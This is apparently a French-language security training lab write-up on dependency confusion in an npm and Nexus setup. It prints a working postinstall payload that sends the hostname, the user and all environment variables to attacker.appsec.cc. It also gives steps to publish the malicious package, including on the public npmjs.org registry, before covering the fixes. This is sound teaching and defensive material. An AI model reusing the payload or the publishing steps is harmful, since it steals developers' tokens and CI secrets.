Software Supply Chain Failures
Java 17 · Spring Boot · Vue 3 · npm
Dépendance npm avec script postinstall malveillant. Désérialisation polymorphique Jackson activée.
Cas n°3 — A03:2025 Software Supply Chain Failures
Référence OWASP
| Catégorie | A03:2025 - Software Supply Chain Failures |
| Stack | Node.js 20, npm, Vue 3 (Vite), Nexus OSS 3 |
| Lancement | npm install (dans vulnerable/ ou secure/) |
Dependency confusion, 2021
https://www.landh.tech/blog/20250610-netflix-vulnerability-dependency-confusion
démos vidéo
| Etape | Démo |
|---|---|
| Application vulnérable, déploiement | Sans objet |
| @catamania/ui-components@1.0.1 sur npmjs.com : package malveillant | 03_vulnerable_020_demo.mp4 |
| @catamania/ui-components@1.0.0 sur sur npm-internal : package d'entreprise légitime. Pas de package présent sur npm-proxy | 03_vulnerable_021_demo.mp4 |
Le npm install sur le poste de dév exfiltre les variables d'environnements sur le listener @ attacker.appsec.cc |
03_vulnerable_022_demo.mp4 |
| Le package malveillant a été récupéré sur le repo npm-proxy | 03_vulnerable_023_demo.mp4 |
| La modification dans .npmrc corrige le problème | 03_secure_01_demo.mp4 |
Scénario métier
Application Vue 3 minimaliste — une page d'accueil affichant un composant bouton issu d'une librairie interne @catamania/ui-components. Cette librairie est hébergée sur le registry npm privé de l'entreprise (Nexus OSS).
L'attaque exploite la dependency confusion : l'attaquant publie une version supérieure du même package sur un registry public. Le registry de groupe Nexus, mal configuré, résout le public avant l'interne et installe silencieusement la version malveillante lors du npm install.
La vulnérabilité — Dependency Confusion
Principe
- L'entreprise publie
@catamania/ui-components@1.0.0sur son Nexus interne (npm-internal). - L'attaquant publie
@catamania/ui-components@1.0.1sur un registry public (npm-public-simou npmjs.org). - Le registry de groupe Nexus (
npm-group-vuln) est configuré avec public avant interne. - npm reçoit la version
1.0.1— la plus récente — sans avertissement. - Le
postinstallde la version malveillante s'exécute silencieusement pendant lenpm install.
Cet exploit a été documenté par Alex Birsan en 2021 et a affecté Apple, Microsoft, Tesla et d'autres grandes entreprises.
Configuration vulnérable — vulnerable/.npmrc
registry=https://nexus.appsec.cc/repository/npm-group-vuln/
Le groupe npm-group-vuln résout npm-public-sim en premier → la version 1.0.1 malveillante gagne la résolution semver.
Payload — packages/malicious/ui-components/postinstall.js
const https = require('https');
const os = require('os');
const payload = JSON.stringify({
hostname: os.hostname(),
username: os.userInfo().username,
cwd: process.cwd(),
env: process.env // Variables d'environnement : tokens, clés API, secrets CI/CD...
});
const req = https.request({
hostname: 'attacker.appsec.cc',
port: 9999,
path: '/exfiltrate',
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
}, () => {});
req.on('error', () => {}); // Silencieux en cas d'échec
req.write(payload);
req.end();
Le script utilise uniquement des modules Node.js built-in — aucune dépendance externe, aucune alerte npm audit.
Exploitation — Scénario pas-à-pas
Prérequis — Infrastructure
Nexus doit être opérationnel sur https://nexus.appsec.cc :
cd ansible
ansible-playbook -i inventory.ini playbook.yml --tags nexus --become
Étape 1 — Vérifier le listener d'exfiltration
Le listener est déployé et démarré automatiquement par le playbook Ansible en tant que service systemd (appsec-03-listener).
Script déployé sur le serveur : /opt/assuria/src/03-supply-chain-failures/exploit/01-start-listener.py
Vérifier qu'il tourne et afficher les logs en temps réel :
ssh root@attacker.appsec.cc
systemctl status appsec-03-listener
journalctl -u appsec-03-listener -f
Laisser
journalctl -fouvert dans ce terminal — les données exfiltrées apparaîtront ici dès lenpm install.
Étape 2 — Publier les packages
Variante A — Simulation locale (Nexus)
bash exploit/02-publish-packages.sh
Ce script :
- Écrit les credentials
publisher:publisher123en base64 dans~/.npmrc - Publie
packages/legitimate/ui-components(v1.0.0) surnpm-internal - Publie
packages/malicious/ui-components(v1.0.1) surnpm-public-sim
Vérification :
# npm-internal → doit afficher "latest": "1.0.0"
curl -s https://nexus.appsec.cc/repository/npm-internal/@catamania%2fui-components | python3 -m json.tool | grep '"latest"'
# npm-public-sim → doit afficher "latest": "1.0.1"
curl -s https://nexus.appsec.cc/repository/npm-public-sim/@catamania%2fui-components | python3 -m json.tool | grep '"latest"'
Variante B — Attaque réelle (npmjs.org)
L'organisation @catamania sur npmjs.com appartient au compte a.vergnaud.
1. Publier v1.0.0 légitime sur Nexus npm-internal
# Écrire les credentials publisher dans ~/.npmrc
AUTH=$(echo -n "publisher:publisher123" | base64 -w0)
npm config set "//nexus.appsec.cc/repository/npm-internal/:_auth" "$AUTH"
npm config set "//nexus.appsec.cc/repository/npm-internal/:email" "publisher@assuria.fr"
# Publier
cd packages/legitimate/ui-components
npm publish --registry https://nexus.appsec.cc/repository/npm-internal/
Vérification :
curl -s https://nexus.appsec.cc/repository/npm-internal/@catamania%2fui-components | python3 -m json.tool | grep '"latest"'
# → "latest": "1.0.0"
2. Générer un token npm
https://www.npmjs.com/settings/avergnaud/tokens
Sur https://www.npmjs.com/settings/~a.vergnaud/tokens — choisir Automation token (bypass 2FA, adapté aux scripts).
3. Configurer le token localement
Écrire directement dans ~/.npmrc (la commande npm config set peut ne pas persister correctement sous WSL) :
echo "//registry.npmjs.org/:_authToken=<NPM_TOKEN>" >> ~/.npmrc
Vérifier :
cat ~/.npmrc | grep registry.npmjs.org
# → //registry.npmjs.org/:_authToken=npm_xxx...
4. Publier le package malveillant
cd packages/malicious/ui-components
# --access public est obligatoire pour les packages scopés sur un registry public
npm publish --access public --registry https://registry.npmjs.org
5. Vérifier
npm view @catamania/ui-components --registry https://registry.npmjs.org
# → version: 1.0.1
6. Nettoyer après la démo
npm unpublish @catamania/ui-components@1.0.1 --registry https://registry.npmjs.org
npm autorise la dépublication dans les 72 heures suivant la publication.
Dans ce cas, npm-group-vuln doit contenir un proxy vers https://registry.npmjs.org à la place du hosted npm-public-sim.
Étape 3 — Déclencher l'attaque
cd vulnerable
npm install
Observer dans le terminal du listener :
[!] EXFILTRATED DATA RECEIVED
Hostname : <machine>
User : <user>
CWD : <chemin absolu>/vulnerable
Env vars : { "PATH": "...", "HOME": "...", "NODE_ENV": "...", ... }
L'exfiltration se produit silencieusement pendant le npm install, avant même que l'application ne soit lancée.
Confirmer la version installée :
cat node_modules/@catamania/ui-components/package.json | grep version
# → "version": "1.0.1" ← version malveillante
Correctif — Version sécurisée (secure/)
1. Épingler les scopes internes dans .npmrc
Avant — vulnerable/.npmrc :
registry=https://nexus.appsec.cc/repository/npm-group-vuln/
Après — secure/.npmrc :
@catamania:registry=https://nexus.appsec.cc/repository/npm-internal/
registry=https://nexus.appsec.cc/repository/npm-group-secure/
Les packages @catamania/* sont résolus exclusivement depuis npm-internal, quelle que soit la version disponible sur le public.
2. Prioriser l'interne dans le groupe Nexus
Dans Nexus, l'ordre des membres du groupe détermine la priorité de résolution :
| Groupe | Ordre | Résultat |
|---|---|---|
npm-group-vuln |
[npm-public-sim, npm-internal] |
Public résolu en premier → v1.0.1 malveillante |
npm-group-secure |
[npm-internal, npm-public-sim] |
Interne résolu en premier → v1.0.0 légitime |
3. Vérifier l'intégrité via package-lock.json
# Générer le lock avec la version légitime, puis committer
npm install
git add package-lock.json
# En CI : utiliser npm ci plutôt que npm install
npm ci # Rejette toute divergence avec le lock, vérifie les hashes SHA-512
4. Désactiver les scripts de post-install
npm install --ignore-scripts
Ou dans .npmrc :
ignore-scripts=true
Certains packages légitimes nécessitent leurs scripts de post-install (ex. : binaires natifs compilés). Évaluer au cas par cas.
Vérification avec la version sécurisée :
cd secure
npm ci
# Aucune donnée reçue dans le listener
cat node_modules/@catamania/ui-components/package.json | grep version
# → "version": "1.0.0" ← version légitime
Comparaison des résultats
| Version vulnérable | Version sécurisée | |
|---|---|---|
| Version installée | 1.0.1 (malveillante) |
1.0.0 (légitime) |
| Données exfiltrées | Oui — hostname, user, env vars | Non |
| Registry utilisé | npm-group-vuln (public en premier) |
npm-internal (scope épinglé) |
postinstall exécuté |
Oui | Non (version 1.0.0 sans postinstall) |
| Commande recommandée | npm install |
npm ci |
Principes de sécurité appliqués
- Épinglage de scope — forcer la résolution des packages internes sur le registry privé, jamais sur le public
- Principe du moindre privilège — le registry de groupe ne doit exposer le public qu'en fallback, jamais en priorité
- Intégrité des dépendances — committer
package-lock.jsonet utilisernpm cien CI pour vérifier les hashes SHA-512 - Réduction de la surface d'attaque — désactiver les scripts de post-install pour les dépendances non auditées
- Audit continu — intégrer
npm auditdans le pipeline CI pour détecter les CVE